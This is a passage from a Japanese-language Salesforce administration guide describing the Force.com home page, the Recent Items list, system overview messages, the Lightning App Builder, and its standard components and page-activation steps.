タ項目とその関連オブジェクトが表示されます。

• [システムの概要] メッセージボックスには、組織が使用制限に到達したこと
を知らせるメッセージが表示されます。[システムの概要] メッセージボック
スはデフォルトでは有効化されていません。

• [クィックリンク] ボックスには、ツール、ユーザ、アプリケーション、セキュ
リティ、およびデータを管理するためのリンクがあります。

6501

アプリケーションランチャーをデフォルトのランディン
グページに設定

コードではなくてクリックによる Salesforce の拡張



• [コミュニティ] ボックスには使用可能なリソースが表示されます。このボックスを以前に消去した場合は、
新しい各リリースで再表示されます。

• 右のパネルには開発者とシステム管理者に役立つ外部リンクがあります。

[最近使ったデータ] リスト (ベータ)

[最近使ったデータ] リストには、最近表示、編集、または作成したメタデータ項目とその関連オブジェク
トが表示されます。

[最近使ったデータ] リスト (ベータ)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.comを除くすべ
てのエディション

[最近使ったデータ] リストには、最近表示、編集、または作成したメタデータ項
目とその関連オブジェクトが表示されます。

メモ:  [最近使ったデータ] リストはベータ版です。本番品質ではあります
が、既知の制限があります。

[最近使ったデータ] リストに含まれる内容は、次のとおりです。
• Apex クラス
• Apex トリガ
• 承認プロセス
• アプリケーション
• カスタムレポートタイプ
• メールテンプレート
• 項目
• オブジェクト
• ページレイアウト
• 権限セット
• プロファイル
• レコードタイプ
• 静的リソース
• タブ
• ユーザ
• 入力規則
• Visualforce ページ
• Visualforce コンポーネント
• ワークフローメールアラート
• ワークフロー項目自動更新
• ワークフローアウトバウンドメッセージ
• ワークフロールール
• ワークフロー ToDo

6502

Force.com ホームページコードではなくてクリックによる Salesforce の拡張



メモ:  [設定] の [最近使ったデータ] リストは、多くの Salesforce ページのサイドバー列にある [最近使った
データ] セクションとは無関係です。[設定] のリストにはシステム管理者が使用した項目が表示されます
が、サイドバーの [最近使ったデータ] セクションにはエンドユーザが作業したレコードが表示されます。

Force.com システムの概要メッセージの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

Force.com メッセージを設
定する
• 「アプリケーションの

カスタマイズ」

メモ:  [システムの概要] ページでは、組織で有効化されている項目のみが表
示されます。たとえば、[システムの概要] ページでは、組織でワークフロー
が有効化されている場合に限り、ワークフロールールが表示されます。

組織の制限に到達しつつあることを通知するには、Force.com ホームページにシ
ステムの概要の使用状況メッセージを追加します。Force.com ホームページに表
示されるシステムの概要メッセージは、展開、折りたたみ、または非表示にす
ることができます。デフォルトでは、システムの概要ホームページのメッセー
ジは有効化されています。
Force.com ホームページ上のシステムの概要メッセージを設定する手順は、次の
とおりです。
1. [設定] から、[クイック検索] ボックスに「システムの概要」と入力し、[シス

テムの概要] を選択します。
2. [Force.com メッセージの設定]を設定] をクリックします。
3. Force.comホームページで表示または非表示にするシステムの概要メッセージ

のタイプを選択または選択解除します。
4. [OK] をクリックします。

重要: 組織の制限に到達しつつある場合、Force.comホームページにはシステムの概要メッセージのみが表
示されます。

Force.comホームページでシステムの概要メッセージを有効化または非表示にすると、システムの概要メッセー
ジの個別のビューにのみ影響します。

6503

Force.com システムの概要メッセージの設定コードではなくてクリックによる Salesforce の拡張



Lightning アプリケーションビルダー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning アプリケーションビルダーは、Salesforce1 と Lightning Experience のカスタ
ムページを簡単に作成するためのポイント & クリックツールです。Lightning アプ
リケーションビルダーでは、さまざまなコンポーネントを 1 つのページにまと
めて、ユーザに必要な操作をすべて 1 か所で行うことができます。
Lightning アプリケーションビルダーにアクセスするには、[設定] から [クイック
検索]ボックスに「Lightning アプリケーションビルダー」と入力し、[Lightning

アプリケーションビルダー] を選択します。
Lightning アプリケーションビルダーでは、次のものを作成できます。
• 標準ページにドリルダウンする単一ページアプリケーション
• 四半期の上位の販売見込み客や主要なリードを追跡するアプリケーションな

ど、ダッシュボードスタイルのアプリケーション
• ユーザが経費を入力し、送信した経費を監視する経費アプリケーションな

ど、特定の作業に対処する「ポイント」アプリケーション
• ユーザのニーズに合わせて調整した、オブジェクトのカスタムレコードページ
• ユーザが最も使用するコンポーネントと機能が含まれたカスタムホームページ

Lightning ページは、Lightning アプリケーションビルダーの基盤となる技術です。Lightning ページは、Salesforce1

モバイルアプリケーションまたはLightning Experienceで使用するページを設計できるカスタムレイアウトです。
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Lightning ページは、Lightning コンポーネントを使用して作成されます。これらのコンポーネントは設定および
再利用が可能なコンパクトな要素で、Lightning アプリケーションビルダーのページ範囲にドラッグアンドド
ロップできます。
Lightning アプリケーションビルダーでは、標準、カスタム、サードパーティのコンポーネントを使用できま
す。
標準コンポーネント

標準コンポーネントとは、Salesforce が作成した Lightning コンポーネントです。
カスタムコンポーネント

カスタムコンポーネントとは、各自が作成した Lightning コンポーネントです。一部の変更を加え、カスタ
ム Lightningコンポーネントは、Lightning アプリケーションビルダーで機能できます。Lightningコンポーネン
トをアプリケーションビルダーに適合させる方法についての詳細は、『Lightningコンポーネント開発者ガイ
ド』を参照してください。

AppExchange のサードパーティコンポーネント
AppExchange には、Lightning コンポーネントのマーケットプレイスがあります。設定済みのコンポーネント
が含まれ、Lightning アプリケーションビルダーですぐに使用できるパッケージが見つかります。

Lightning アプリケーションビルダーは、最新のデスクトップバージョンの Microsoft® Internet Explorer®、Google

Chrome™、Apple® Safari®、Mozilla® Firefox® でサポートされます。Lightning アプリケーションビルダーは、モバイル
ブラウザまたは Internet Explorer バージョン 10 以前ではサポートされません。Lightning アプリケーションビルダー
で推奨される最小解像度は 1280x1024 です。

関連トピック:

Lightning アプリケーションビルダーを使用したアプリケーションホームページの作成

カスタムアプリケーションページの作成: 全体像
カスタムアプリケーションで最も重要なオブジェクトと項目に Lightning Experience および Salesforce1 ユーザがア
クセスできるアプリケーションページを、わずか数ステップで作成できます。カスタムアプリケーションペー
ジは、Lightning ページを使用して作成されます。
1. ページを作成する前に、どのコンポーネントを含め、ユーザがどのようなグローバルアクションを必要と

するかを判断します。
2. Lightning ページを作成します。
3. ページにアクションを追加します。
4. Lightning アプリケーションビルダーで Lightning ページを有効化します。

有効化すると、アプリケーションページのカスタムタブの作成、表示の設定、Salesforce1のナビゲーション
リストおよび Lightning Experience アプリケーションのナビゲーションバーへの追加をすべて 1 か所で行うこ
とができます。

Lightning ページ
Lightning ページは、Salesforce1 モバイルアプリケーションまたは Lightning Experience で使用するページを設計で
きるカスタムレイアウトです。
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Lightning ページは、ページレイアウトと Visualforce ページの中間に位置します。ページレイアウトと同様、
Lightning ページではページにカスタム項目を追加できます。ただし、これらのカスタム項目は、項目やVisualforce

コンポーネントではなく Lightning コンポーネントであるため、高い柔軟性があります。
Lightning ページを使用して、アプリケーションページを作成し、そのページを Salesforce1 のナビゲーションリ
ストまたは Lightning アプリケーションのナビゲーションバーに追加できます。アプリケーションページによ
り、ユーザは、そのアプリケーションで最も重要なオブジェクトや項目にすばやくアクセスできるようになり
ます。
また、Lightning ページを使用して、Lightning Experience 向けにカスタマイズされたレコードページやホームペー
ジを作成できます。Lightning for Outlookがある場合、カスタムメールアプリケーションペインを作成できます。
Lightning ページの構造は、それを表示するデバイスに適合されます。ページの作成時に選択したテンプレート
は、特定のデバイスでの表示方法を制御します。Lightning ページのテンプレートにより、ページがいくつかの
領域に分割されます。

Lightning ページは、Lightning コンポーネントを使用して作成されます。これらのコンポーネントは設定および
再利用が可能なコンパクトな要素で、Lightning アプリケーションビルダーのページ範囲にドラッグアンドド
ロップできます。
Lightning ページは、複数のコンポーネントを配置可能な領域で構成されます。

例: Salesforce1の次のLightning ページには、検索条件リストコンポーネント、最近使ったデータコンポーネ
ント、および 1 つのグローバルアクションがあります。
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関連トピック:

Lightning ページのフロー (ベータ) の考慮事項と制限事項

Lightning ページの種別
Lightning アプリケーションビルダーでは Lightning ページのさまざまな種別を作成できます。Lightning ページの
種別を設定したら、変更できません。

アプリケーションページ
アプリケーションページは Salesforce1 および Lightning Experience の両方でサポートされます。
アプリケーションページを使用してサードパーティアプリケーションのホームページを作成し、そのページを
Salesforce1 および Lightning Experience のナビゲーションメニューに直接追加できます。このページがアプリケー
ションホームページになり、最も重要なオブジェクトや項目にすばやくアクセスできます。
グローバルアクションをアプリケーションページに追加することにより、機能を強化できます。グローバルア
クションでは、通話の詳細の追加、レコードの作成および更新、メールの送信、ToDo の作成などの操作をア
プリケーションページから行うことができます。ユーザがSalesforce1でLightning ページにアクセスすると、ペー
ジのアクションがアクションバーに表示されます。アクションは、Lightning Experienceのページ上部にある強調
表示パネルに表示されます。

重要: アクションをアプリケーションページに追加する前に、Salesforceフルサイトでアクションを作成し
ます。

アプリケーションページでサポートされるのは、グローバルアクションのみです。[投稿]、[ファイル]、[リン
ク]、[アンケート] などの標準 Chatter アクションは、サポートされません。
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ユーザが Salesforce1 や Lightning Experience でアプリケーションページにアクセスすると、ページに指定したアク
ションのみが表示されます。アクションを何も指定していないと、アクションは表示されません。

ホームページ
特定の種別のユーザに関連のある機能を持つホームページを作成し、カスタマイズされたページを他のユーザ
プロファイルに割り当てます。カスタムホームページは、Lightning Experience でのみサポートされています。

レコードページ
レコードページを使用すると、オブジェクトのレコードページをユーザのニーズに合わせて調整し、カスタマ
イズされたバージョンを作成できます。カスタムレコードページは、Lightning Experienceでのみサポートされて
います。

メモ: Lightning Experienceのレコードページおよびホームページに表示されるアクションは、オブジェクト
ページレイアウトおよびグローバルページレイアウトから取得されます。Lightning アプリケーションビル
ダーでは、これらのページのアクションを追加、編集、削除できません。

メールアプリケーションペイン (ベータ)

カスタムメールアプリケーションペインを作成して、ユーザが Lightning for Outlook から自分に最も関連する
Salesforce コンテンツを操作できるようにします。カスタムメールアプリケーションペインは、Salesforce Classic

および Lightning Experience でサポートされています。

関連トピック:

Lightning アプリケーションビルダーを使用したアプリケーションホームページの作成
Lightning Experience のレコードページの設定

Lightning ページの標準コンポーネント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

標準コンポーネントとは、Salesforce が作成した Lightning コンポーネントです。
Lightning ページを作成するときに、いくつかの標準コンポーネントを使用できま
す。

メモ: ここに挙げられているコンポーネントは、別途記載がある場合を除
き、すべてのページ種別でサポートされています。このリストには、使用
可能なすべての標準コンポーネントが含まれているわけではありません。
その他の標準コンポーネント種別も使用できますが、作成するページの種
別やページを関連付けるオブジェクトによって使用できる標準コンポーネ
ントは異なります。

一部の標準コンポーネントには、コンポーネントをページで動作させるために
設定する必要のある必須プロパティがあります。Lightning アプリケーションビル
ダーでコンポーネントを Lightning ページに追加する場合、必須プロパティには
アスタリスクが付いています。
Lightning ページの領域またはタブには、最大 25 個のコンポーネントを配置できます。
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Salesforce1 で使用するためのアプリケーションページがある場合は、そのページの Lightning ページコンポーネ
ントを関連付けられるのは Salesforce1 でサポートされるオブジェクトのみです。「Salesforce1 モバイルアプリ
ケーションで使用可能なデータ」を参照してください。

アプリケーションランチャーコンポーネント
アプリケーションランチャーには、ユーザが使用可能なSalesforceアプリケーションと、システム管理者が設定
した接続アプリケーションが表示されます。ユーザはアプリケーションランチャーを使用してアプリケーショ
ン間を移動します。
このコンポーネントは、API バージョン 35.0 以降でサポートされています。
組織のLightning アプリケーションビルダーでアプリケーションランチャーコンポーネントを有効にするには、
Salesforce にお問い合わせください。

Chatter コンポーネント
API バージョン 38 以降、Lightning アプリケーションビルダーのフィードコンポーネントは、Chatter という名前
に変更されました。これを使用して、レコードページにパブリッシャーとフィードの組み合わせを配置できま
す。

Chatter フィードコンポーネント
Chatter フィードコンポーネントを使用すると、レコードページの任意の場所にフィードを配置できます。フィー
ドでは、投稿、コメント、質問を参照できます。フィードの属性の [フィード種別] は次のいずれかの値を取
ります。
• [ブックマーク済み]にすると、現在のユーザがブックマークしたすべての項目のフィードが表示されます。
• [自分がフォローするもの] にすると、現在のユーザがフォローしたすべての項目のフィードが表示されま

す。
• [自分宛て] にすると、現在のユーザがメンションされたすべての項目のフィードが表示されます。
フィードをパブリッシャーに結び付けるためのコーディングは必要ありません。パブリッシャーとページ上の
すべてのフィードは自動的に接続されます。Chatter フィードコンポーネントは、API バージョン 38.0 以降で使
用できます。

Chatter パブリッシャーコンポーネント
Chatter パブリッシャーコンポーネントを使用すると、レコードページの任意の場所にフィードパブリッシャー
を配置できます。パブリッシャーを使用すると、フィード内で投稿、アンケート、または質問を行うことがで
きます。フィードの属性の [種別]の値は常に グローバル になります。Chatter パブリッシャーコンポーネント
と Chatter フィードコンポーネントを併せて使用することで、フィードをフル活用できます。パブリッシャーを
フィードに結び付けるためのコーディングは必要ありません。パブリッシャーとページ上のすべてのフィード
は自動的に接続されます。Chatter パブリッシャーコンポーネントは、API バージョン 38.0 以降で使用できます。

6509

Lightning ページコードではなくてクリックによる Salesforce の拡張



検索条件リストコンポーネント
検索条件リストコンポーネントは、リストビューを参照し、そのビューから最初の数レコードを表示します。
次を除く標準オブジェクトおよびカスタムオブジェクトに関連付けられた、すべての公開リストビューと共有
リストビューがサポートされています。
• Activity

• ContentVersion (Files)

• Task

• User

• UserProfile

検索条件リストコンポーネントは、デフォルトでリストから最初の 3 件のレコードを表示しますが、最大 30

件を表示するように設定できます。
検索条件リストコンポーネントにカスタム名を付けることはできません。コンポーネント名は、コンポーネン
トの設定時に選択したリストビュー検索条件の名前から取得されます。
Lightning アプリケーションビルダーでは、このコンポーネントの [オブジェクト] ドロップダウンリストに、リ
ストビューが関連付けられたオブジェクトのみが表示されます。

強調表示パネルコンポーネント
強調表示パネルコンポーネントには、レコードの特長とアクションボタンが表示されます。強調表示パネルを
すっきりさせるために 2 行目の情報を非表示にして 1 行目のサイズを縮小するには、[折りたたんで表示]チェッ
クボックスをオンにします。表示するアクションボタンを減らすには、[表示可能なアクションボタンの数 (最
大 10 個)] 属性を使用して数を減らします。
強調表示パネルを横方向または縦方向に表示するには、横方向または縦方向の目的のサイズの領域に [強調表
示パネル] コンポーネントをドラッグします。強調表示パネルは領域のスペースに合わせて調整されます。た
とえば、狭い列にドラッグすると、強調表示パネルは縦方向に表示されます。全画面幅の列にドラッグする
と、強調表示パネルは横方向に表示されます。

最近使ったデータコンポーネント
最近使ったデータコンポーネントは、最後に使用した項目のリストを表示します。デフォルトは 3 件ですが、
最大 30 件を表示するように設定できます。Lightning アプリケーションビルダーで、最近使ったデータリストに
表示するオブジェクトのレコードを指定できます。
最近使ったデータコンポーネントでは、指定されたプロパティに基づいて次のオブジェクトがサポートされて
います。
• すべてのカスタムオブジェクト
• 次の両方の条件を満たすすべての標準オブジェクト

– オブジェクトにコンパクトレイアウトが定義されている。
– 最近使用したオブジェクトのリストでオブジェクトが追跡されている。
最近使用したオブジェクトのリストでオブジェクトが追跡されている場合、LastViewedDate と
LastReferencedDate のいずれかまたは両方の項目が表示されます。

最近使ったデータコンポーネントでは、次のオブジェクトはサポートされていません。
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• ContentVersion (Files)

• User

• UserProfile

関連リストコンポーネント
関連リストコンポーネントを使用すると、レコードの 1 つの関連リストが Lightning ページに表示されます。レ
コードのすべての関連リストを表示するには、関連リスト (複数) コンポーネントを使用します。
このコンポーネントを設定して、ページに関連付けられたレコードの関連リストを表示するか、親レコードの
情報を表示できます。親レコードの使用は任意です。
このコンポーネントは、API バージョン 39.0 以降でサポートされています。レコードページでのみ使用できま
す。

ヒント: ユーザのページレイアウトに使用する関連リストが含まれていることを確認してください。親レ
コードを使用する場合は、親レコードのページレイアウトを更新します。

関連レコードコンポーネント
関連レコードコンポーネントを使用して、Lightningページの親レコードの詳細を含む、関連レコードの詳細を
表示します。このコンポーネントには、組み込みのレコード作成、インライン編集、レコードのリンク解除や
新規レコードのリンクを行う機能があります。このコンポーネントは内部でアクションを使用しているため、
このすべての機能を実行できます。
一部の参照項目にはデフォルトアクションがあります。ルックアップで使用できるアクションがない場合、
Lightning アプリケーションビルダーのプロパティエディタのリンクにアクセスしてアクションを作成します。
このコンポーネントは、API バージョン 39.0 以降でサポートされています。レコードページでのみ使用できま
す。

メモ:

• ケースの [親ケース] および [納入商品] 参照項目を使用するには、項目レベルセキュリティを [非表示]

ではなく [参照可能] に更新します。このようにしないと、ユーザにエラーが表示されます。
• ケースは、取引先責任者も同時に削除しないとコンポーネントから削除 (リンク解除) できないデフォ

ルトの取引先にリンクされます。

レポートグラフコンポーネント
レポートグラフコンポーネントを使用して、Lightning ページにレポートのグラフを表示します。コンポーネン
トの [表示ラベル] 項目を空白のままにすると、レポートの表示ラベルからコンポーネントの表示ラベルが取
得されます。
レポートデータが作成後 1 日を超えると、グラフが更新されます。コンポーネントのプロパティで、更新ボタ
ンを表示してユーザがグラフを更新できるようにするかどうかを選択できます。レポートの定義を保存した場
合にも、コンポーネントのグラフデータが更新されます。
レポートグラフデータでの検索条件の設定は、レコートページでのみサポートされます。検索条件オプション
を設定すると、レポートグラフコンポーネントには絞り込まれたデータのみが表示されます。
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このコンポーネントは、API バージョン 32.0 以降でサポートされています。このコンポーネントは、[私の非公
開カスタムレポート] フォルダにあるレポートでは機能しません。レポートをパッケージに含めると、[未整理
公開レポート] フォルダ内のレポートを参照するレポートグラフコンポーネントはリリースできません。

リッチテキストコンポーネント
リッチテキストコンポーネントを使用して、テキストやシンプルな HTML マークアップを Lightning ページに追
加します。

メモ:  JavaScript、CSS、iframe、およびその他の高度なマークアップは、サポートされていません。高度な
HTML 要素をコンポーネントで使用する場合は、Visualforce ページコンポーネントまたはカスタム Lightning

コンポーネントを使用することをお勧めします。
リッチテキストコンポーネントは 4,000 文字までに制限されます。このコンポーネントは、API バージョン 32.0

以降でサポートされています。

Skype for Business コンポーネント
Skype for Business コンポーネントは、少なくとも 1 つのメール項目が含まれる標準レコードページとカスタムレ
コードページに Skype コントロールを追加します。このコントロールによって、オンラインになっているユー
ザの確認、音声通話やビデオ通話の開始、およびチャットを行うことができます。
このコンポーネントには Skype for Business ライセンスが必要です。組織で LockerService を無効にする必要もあり
ます。[設定] で [重要な更新] に移動し、[Lightning LockerService セキュリティの有効化] を無効にします。

メモ: 営業担当が Skype ウィンドウからチャットの会話をメモとして保存できるようにするには、組織で
メモを有効にします。営業担当は Salesforce の [メモ] タブから保存したチャットにアクセスできます。

タブコンポーネント
タブコンポーネントを使用して、Lightning ページの領域にタブを追加します。標準タブセットから選択する
か、カスタムタブを作成して、Lightning Experienceユーザ向けのレコードページを拡張します。タブコンポーネ
ントは、Lightning Experience のレコードページでのみサポートされています。
タブコンポーネントには、最大 25 個のタブを配置できます。このコンポーネントは、API バージョン 36.0 以降
でサポートされています。

Visualforce ページコンポーネント
Visualforce ページコンポーネントを使用して、Visualforce ページを Lightning ページに追加します。
コンポーネントの [表示ラベル]項目を空白のままにすると、割り当てられたVisualforceページの表示ラベルか
らコンポーネントの表示ラベルが取得されます。
[高さ]項目を空白のままにすると、VisualforceページをSalesforce1で表示するときに、ページの高さのデフォル
トが 300 ピクセルになります。
このコンポーネントは、API バージョン 32.0 以降でサポートされています。
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Salesforce1 または Lightning Experience で表示するには、Visualforce ページで [Salesforce モバイルアプリケーション
およびLightning ページでの使用が可能]オプションが選択されている必要があります。このオプションは、API

バージョン 27.0 以降に設定されたページで使用できます。

Wave Analytics ダッシュボードコンポーネント
Wave ダッシュボードコンポーネントを使用して、Wave Analytics ダッシュボードを Lightning ページに追加しま
す。Lightning アプリケーションビルダーで Wave ダッシュボードコンポーネントを有効にするには、Salesforce に
お問い合わせください。
ドロップダウンリストから、表示するダッシュボードを選択します。[高さ] 項目を空白のままにすると、
Lightning ページで表示するときに、ダッシュボードの高さがデフォルトの 300 ピクセルに設定されます。
ダッシュボードのタイトルの表示を制御したり、エラーが発生した場合にダッシュボードを表示するかどうか
を指定したりできます。[リンクを新規ウィンドウで開く] 属性では、ダッシュボードから他のアセットへのリ
ンクをどこで開くかを指定できます。[検索条件] 属性では、JSON を使用して実行時にデータセット項目を絞り
込むことができます。
詳細は、「Lightning ページへの Wave ダッシュボードの埋め込み」を参照してください。

関連トピック:

Lightning ページのカスタムコンポーネント

Lightning ページのカスタムコンポーネント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning アプリケーションビルダーは、カスタム Lightning コンポーネントをサ
ポートしています。
Lightning アプリケーションビルダーで使用するために設定された組織のカスタム
コンポーネントは、Lightning コンポーネントペインに表示されます。
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Salesforce1 で使用するためのアプリケーションページがある場合は、そのページの Lightning ページコンポーネ
ントを関連付けられるのは Salesforce1 でサポートされるオブジェクトのみです。「Salesforce1 モバイルアプリ
ケーションで使用可能なデータ」を参照してください。
カスタム Lightningコンポーネントは、Lightning ページまたは Lightning アプリケーションビルダーで自動的に機
能するわけではありません。この両方でカスタムコンポーネントを使用できるようにする手順は、次のとおり
です。
1. コンポーネントとコンポーネントバンドルを、Lightning アプリケーションビルダーおよびLightning ページと

互換性があるように設定します。
2. 組織に [私のドメイン]をリリースします。[私のドメイン]をリリースすると、Lightningリソースへの参照と

リンクの形式が https://<myDomain>.lightning.force.com になります。

関連トピック:

Lightning ページの標準コンポーネント
私のドメイン
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Lightning アプリケーションビルダーを使用したアプリケーションホー
ムページの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

アプリケーションのホームページを作成し、Salesforce1 のナビゲーションリスト
とLightning アプリケーションに直接追加できます。この処理により、ユーザは、
そのアプリケーションで最も重要なオブジェクトや項目に簡単にアクセスでき
るようになります。
1. [設定] から、[クイック検索]ボックスに「アプリケーションビルダー」と入力

し、[Lightning アプリケーションビルダー] を選択します。
2. [新規] をクリックします。
3. [アプリケーションページ] を選択し、[次へ] をクリックします。
4. アプリケーションページの表示ラベルを指定し、[次へ] をクリックします。

表示ラベルの文字数は、最大 80 文字です。
5. ページテンプレートを選択し、[完了] をクリックします。
6. 必要なコンポーネントをページにドラッグします。

コンポーネントを並び替えるには、上下にドラッグします。また、コンポー
ネントの上境界線または下境界線をクリックして、次のコンポーネントの挿
入ポイント ( ) を作成することもできます。

7. ページ上の各コンポーネントをクリックして、そのプロパティを設定しま
す。

8. キャンバスの空の領域またはブレッドクラムの [ページ]リンクをクリックし
て、ページのプロパティを設定します。
[説明] 項目は 255 文字までに制限されます。[API 参照名] 項目は 80 文字ま
でに制限されますが、名前空間が指定された組織の場合は、65 文字未満にす
ることをお勧めします。Lightning ページを作成する場合、API 参照名は、ペー
ジに指定する表示ラベルの最初の 40 文字から取得されます。

9. 必要に応じて、ページにグローバルアクションを追加します。
a. ページのプロパティで、[選択] をクリックします。
b. ページのアクションを追加、削除、または並び替えます。

選択したアクションは、Salesforce1 のページのアクションバー、および Lightning Experience のページ最上
部の強調表示パネルに表示されます。アプリケーションページは、この方法でアクションを追加でき
る、Lightning ページの唯一の種別です。その他の Lightning ページでは、オブジェクトページレイアウト
とグローバルページレイアウトからアクションを追加します。

c. [OK] をクリックします。

10. ページの編集が終了したら、[保存] をクリックします。
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Salesforce1 と Lightning Experience のアプリケーションページへのアクセス権をユーザに付与するには、まずはア
プリケーションページを有効化する必要があります。

関連トピック:

アプリケーションページの Salesforce1 および Lightning Experience への追加
Lightning アプリケーションビルダー

アプリケーションページの Salesforce1 および Lightning Experience へ
の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

カスタムアプリケーションページを Salesforce1と Lightning Experienceに追加するに
は、有効化する必要があります。また、[Lightning ページ]タブは、名前の変更、
表示の調整、Salesforce1 のナビゲーションリスト内での位置設定、Lightning アプ
リケーションへの追加を行うことができます。Lightning アプリケーションビル
ダーの有効化機能を使用すると、このプロセスが簡単になります。

ヒント: Salesforce1とLightning Experienceのいずれか、または両方のアプリケー
ションページを有効化できます。

1. アプリケーションページを開くには、[設定] から、[クイック検索] ボックス
に「Lightning アプリケーションビルダー」と入力し、[Lightning アプリケー
ションビルダー] を選択してページの横にある [編集] をクリックします。

2. Lightning アプリケーションビルダーで、[有効化] をクリックします。
3. 必要に応じて、有効化プロパティを更新します。

次のカスタマイズができます。
• ページのカスタムタブの表示ラベルを変更する。デフォルトでは、Lightning

ページに付けた表示ラベルが、カスタムタブの表示ラベルとして使用さ
れます。

• カスタムタブのアイコンを変更する。ここで選択するアイコンは、
Salesforce1 のアプリケーションおよび Lightning Experience のページのアイコ
ンとして使用されます。

• ページを初めて有効化する場合は、カスタムタブの表示を調整する。

4. ページを 1 つ以上のカスタム Lightning アプリケーションに追加します。
アプリケーションページを Lightning Experience に追加する前に、カスタム
Lightning アプリケーションを作成しておく必要があります。

5. Salesforce1 ナビゲーションリストでのページの位置を設定します。
Salesforce1ナビゲーションリストの [アプリケーション] セクションにページを表示するには、[スマート検索
項目] の下にタブを配置します。

メモ: ナビゲーションリストに配置する最初の項目が、ユーザのランディングページになります。ユー
ザが Salesforce1 を開いたときにカスタムアプリケーションページが最初に表示されるようにする場合
は、ページをリストの最初に配置します。
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6. [有効化] をクリックします。
これで、Salesforce1 および Lightning Experience ユーザに Lightning ページを追加する準備が整いました。

関連トピック:

[Lightning ページ] タブの作成
Salesforce1 ナビゲーションメニューのカスタマイズ

[Lightning ページ] タブの作成
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムタブを作成、編
集する
• 「アプリケーションの

カスタマイズ」

Salesforce1ナビゲーションリストまたはLightning アプリケーションにLightning ペー
ジのアプリケーションページ種別を追加するには、事前に Lightning ページのカ
スタムタブを作成する必要があります。
Lightning アプリケーションビルダーで最初にアプリケーションページを有効にす
ると、タブは有効化プロセスの一環としてページに作成されます。[設定] でペー
ジのタブを手動で作成してから有効にすることもできます。
Lightning ページのタブは Salesforce1 と Lightning Experience に Lightning ページを追加
する場合にのみ使用します。
Lightning ページのアプリケーションページ種別のためにのみカスタムタブを作成
できます。
1. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

ます。
2. [Lightning ページタブ] 関連リストで、[新規] をクリックします。
3. タブの Lightning ページを選択します。
4. 表示ラベルを入力します。

このテキストは、Lightning ページの表示名です。
5. タブスタイルを選択して、Lightning ページタブの配色とアイコンを設定します。

組織に [ドキュメント] タブへのアクセス権がある場合にカスタムタブスタイルを作成するには、必要に応
じて、[タブスタイルの選択] ダイアログの [独自のスタイルを作成] をクリックします。自分専用のタブス
タイルを作成する手順は、次のとおりです。
a. [色]ルックアップアイコンをクリックして色選択ダイアログを表示し、色をクリックして選択します。
b. [画像の挿入] をクリックしてドキュメントフォルダを選択し、使用する画像を選択します。

または、[ドキュメント検索]をクリックして検索語を入力し、[Go!]をクリックすると、検索語を含むド
キュメントファイル名が表示されます。

メモ: このダイアログでは、20 KB 以下で、かつ、ドキュメントプロパティ設定で [外部参照可] チェッ
クボックスがオンになっているドキュメントフォルダに含まれるファイルのみが表示されます。ア
イコンに使用されているドキュメントが削除されると、Salesforce によってデフォルトの多色のブ
ロックアイコン ( ) に置き換えられます。

c. ファイルを選択し、[OK] をクリックします。新規カスタムタブウィザードが表示されます。
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6. 必要に応じてタブの説明を入力し、[次へ] をクリックします。
7. 新規カスタムタブを使用できるユーザプロファイルを選択します。

メモ: Salesforce Classic では、Lightning ページのタブの [デフォルトで表示] と [デフォルトで非表示] オプ
ションは他のカスタムタブの場合と同様には機能しません。[デフォルトで表示] または [デフォルトで
非表示] のどちらを選択しても、Salesforce1で選択したプロファイルの [Lightning ページ]メニュー項目が
表示されます。[タブを隠す] オプションを選択すると、選択したプロファイルの Lightning ページが非
表示になります。

8. [保存] をクリックします。

Lightning Experience のレコードページの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

Lightning アプリケーションビルダーを使用して、レコードページにコンポーネン
トの追加、削除、並び替えを行うことによって、各オブジェクトのレコードの
ユーザへの表示をカスタマイズできます。
Lightning Experience のレコードページは、次の 2 つの方法で作成できます。
1. Lightning Experience でレコードページを編集します。

a. レコードページにある [設定] メニューから、[編集ページ]を選択します。

初めて [編集ページ] を選択すると、Salesforceによって自動的に標準ページ
のコピーが作成されます。Lightning アプリケーションビルダーでこのコ
ピーを編集します。カスタマイズしたページが存在し、それが有効であ
る場合は、[編集ページ] を選択すると、そのページが編集用に開きます。

2. Lightning アプリケーションビルダーのリストページからページを作成します。
a. [設定] から、[クイック検索] ボックスに「アプリケーションビルダー」と入力し、[Lightning アプリケー

ションビルダー] を選択します。
b. [新規] をクリックします。
c. [レコードページ] を選択します。
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d. 新規ページ作成ウィザードの手順を実行します。
